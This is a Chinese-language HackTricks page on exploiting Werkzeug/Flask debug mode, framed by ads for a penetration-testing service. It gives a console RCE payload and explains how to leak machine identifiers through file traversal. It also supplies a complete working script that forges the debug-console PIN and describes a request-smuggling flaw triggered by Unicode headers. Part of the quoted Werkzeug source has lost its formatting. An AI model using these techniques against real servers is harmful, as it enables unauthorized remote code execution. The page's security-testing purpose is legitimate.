Werkzeug / Flask Debug

支持 HackTricks

即时可用的漏洞评估与渗透测试设置。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。

控制台 RCE

如果调试处于活动状态,您可以尝试访问 /console 并获得 RCE。

__import__('os').popen('whoami').read();

互联网上还有几个漏洞,比如这个或metasploit中的一个。

Pin 保护 - 路径遍历

在某些情况下,/console 端点将受到 pin 的保护。如果你有 文件遍历漏洞,你可以泄露生成该 pin 所需的所有信息。

Werkzeug 控制台 PIN 漏洞

在应用程序中强制出现调试错误页面以查看此内容:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

在尝试访问 Werkzeug 的调试接口时,会遇到关于“控制台锁定”场景的消息,指示需要一个 PIN 来解锁控制台。建议通过分析 Werkzeug 的调试初始化文件 (__init__.py) 中的 PIN 生成算法来利用控制台 PIN。可以从 Werkzeug 源代码库 学习 PIN 生成机制,但建议通过文件遍历漏洞获取实际服务器代码,以避免潜在的版本差异。

要利用控制台 PIN,需要两组变量,probably_public_bitsprivate_bits

probably_public_bits

  • username: 指发起 Flask 会话的用户。

  • modname: 通常指定为 flask.app

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): 通常解析为 Flask

  • getattr(mod, '__file__', None): 表示 Flask 目录中 app.py 的完整路径(例如,/usr/local/lib/python3.5/dist-packages/flask/app.py)。如果 app.py 不适用,尝试 app.pyc

private_bits

  • uuid.getnode(): 获取当前机器的 MAC 地址,str(uuid.getnode()) 将其转换为十进制格式。

  • 确定服务器的 MAC 地址,必须识别应用使用的活动网络接口(例如,ens3)。如果不确定,泄露 /proc/net/arp 以找到设备 ID,然后 /sys/class/net/<device id>/address 提取 MAC 地址

  • 可以按如下方式将十六进制 MAC 地址转换为十进制:

# 示例 MAC 地址: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): 将 /etc/machine-id/proc/sys/kernel/random/boot_id 中的数据与 /proc/self/cgroup 的第一行在最后一个斜杠(/)之后的部分连接起来。

代码 `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN:

在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN。该脚本使用组装的 `probably_public_bits` 和 `private_bits` 创建一个哈希,然后经过进一步处理以生成最终的 PIN。以下是执行此过程的 Python 代码:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

这个脚本通过对连接的位进行哈希,添加特定的盐(cookiesaltpinsalt),并格式化输出,生成 PIN。需要注意的是,probably_public_bitsprivate_bits 的实际值需要准确地从目标系统获取,以确保生成的 PIN 与 Werkzeug 控制台预期的匹配。

如果您使用的是 旧版本 的 Werkzeug,请尝试将 哈希算法更改为 md5 而不是 sha1。

Werkzeug Unicode 字符

正如在 这个问题 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 这个写作 中解释的,这可能导致 CL.0 请求走私漏洞。

这是因为,在 Werkzeug 中可以发送一些 Unicode 字符,这会导致服务器 崩溃。然而,如果 HTTP 连接是通过 Connection: keep-alive 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 主体 将被视为 下一个 HTTP 请求

自动化利用

参考文献

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。

Last updated